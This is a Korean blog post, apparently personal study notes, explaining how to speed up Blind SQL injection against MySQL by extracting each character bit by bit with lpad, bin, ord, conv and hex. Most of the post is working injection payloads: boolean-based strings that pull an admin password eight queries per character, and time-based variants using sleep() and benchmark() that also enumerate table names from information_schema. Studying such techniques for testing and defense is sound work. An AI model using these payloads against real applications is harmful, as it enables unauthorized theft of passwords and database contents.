본문으로 바로가기
반응형

공부하다가 개인적으로 다시 정리를 하고싶어서 여러가지 문서들을 참고하여 작성했다

보통의 Blind SQLi는 한글자를 알아내기 위해 수십번의 쿼리를 날려야 한다.

 

서버의 상태가 좋지 않거나, 빠르게 알아내야하는 상황이 발생할 경우 이 기술을 사용하면 효과적인 공격이 가능하다.

 

다음은 해당 기술을 사용하기 위해 알아둬야 할 함수들의 목록이다.

 

해당 함수들은 기본적으로 알려진 ascii 등의 함수가 필터링되고 있을시에도 유용하게 사용할수있다.

 

-------------------------------------------------------------------------

* lpad 함수

: lpad(초기값, 횟수, 채울문자)

: 채울문자를 정해진 횟수의 길이에 도달할 때까지 초기값의 왼쪽에 붙여준다.

-> lpad(1,8,0) = 00000001

 

* bin 함수

: bin(숫자)

: 해당 값을 2진수의 형태로 변환해준다.

-> bin(97) = 1100001

 

* conv 함수

: conv(초기값, 초기진수, 바꿀진수)

: 해당 초기값을 초기진수에서 원하는 진수의 값으로 변환해준다.

-> conv(61,16,2) = 1100001

 

* ord 함수

: ord(문자)

: char 함수의 반대의 기능을 하는 함수이며 해당 값을 아스키 숫자로 변환해준다.

-> ord('a') = 97

 

* hex 함수

: hex(문자)

: 해당 값을 16진수로 변환해준다.

-> hex('a') = 61

-------------------------------------------------------------------------

 

Blind SQL Injection 은 참과 거짓, 즉 0과 1만으로 문자를 추출해나가는 것이다.

다음의 쿼리문을 살펴보자.

 

substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)

 

얼핏보면 복잡해보이지만 하나하나 살펴보면 간단한 내용이다.

순서대로 살펴보자. (password의 값은 admin 이라고 가정한다.)

 

------------------------------------------

1. substr(password,1,1) = a를 가져온다.

2. ord('a') = 97로 바꿔준다.

3. bin(97) = 1100001 로 바꿔준다.

4. lpad(1100001,8,0) = 01100001 로 바꿔준다.

5. substr(01100001,1,1) = 0을 반환한다.

------------------------------------------

 

이런식으로 총 8번의 쿼리만을 날려서 한글자를 알아낼 수 있다.

실제 공격은 다음과 같이 진행한다.

 

1)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=0# 참

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=1# 거짓

 

2)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),2,1)=0# 거짓

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),2,1)=1# 참

 

3)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),3,1)=0# 거짓

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),3,1)=1# 참

 

4)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),4,1)=0# 거짓

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),4,1)=1# 참

 

5)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),5,1)=0# 참

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),5,1)=1# 거짓

 

6)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),6,1)=0# 참

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),6,1)=1# 거짓

 

7)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),7,1)=0# 참

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),7,1)=1# 거짓

 

8)

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),8,1)=0# 거짓

id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),8,1)=1# 참

 

 

 

값을 종합해보면 01100001 이다. 10진수로 변환하면 97이 나오고 아스키코드로 변환하면 a라는 문자가

 

나오게 된다. 이로써 첫번째 문자는 a 라는걸 알아냈다. 두번째 문자도 이와 동일하게 진행하면 된다.

 

bin 과 ord 함수 대신 conv와 hex 함수를 사용하여 다음과 같은 공격도 가능하다.

 

1)

id=admin' and substr(lpad(conv(hex(substr(password,1,1)),16,2),8,0),1,1)=0# 참

id=admin' and substr(lpad(conv(hex(substr(password,1,1)),16,2),8,0),1,1)=1# 거짓

 

2)

id=admin' and substr(lpad(conv(hex(substr(password,1,1)),16,2),8,0),2,1)=0# 거짓

id=admin' and substr(lpad(conv(hex(substr(password,1,1)),16,2),8,0),2,1)=1# 참

 

---------------------------------------------------------------------

 

Time Based 로의 확장

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=0,sleep(1),0)

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),2,1)=0,sleep(1),0)

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),3,1)=0,sleep(1),0)

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),4,1)=0,sleep(1),0)

 

1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1))),8,0),1,1)=0,sleep(1),0)

 

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=0,benchmark(1000000,md5('a')),0)

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),2,1)=0,benchmark(1000000,md5('a')),0)

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),3,1)=0,benchmark(1000000,md5('a')),0)

 

1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),4,1)=0,benchmark(1000000,md5('a')),0)

 

1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1))),8,0),1,1)=0,benchmark(1000000,md5('a')),0)

 

---------------------------------------------------------------------

 

 

자동화 툴을 작성할 때 상당한 도움이 될것같다.

 

 

 

참고문서 :

http://blog.tunz.kr/24

http://hyunmini.tistory.com/49

 

 

반응형

댓글을 달아 주세요

  1. 고현면늑돌이 2015.04.25 15:55

    정말 도움되는 글입니다. >< 강남에 놀러오세요 뀨~ ( 'ㅅ'=3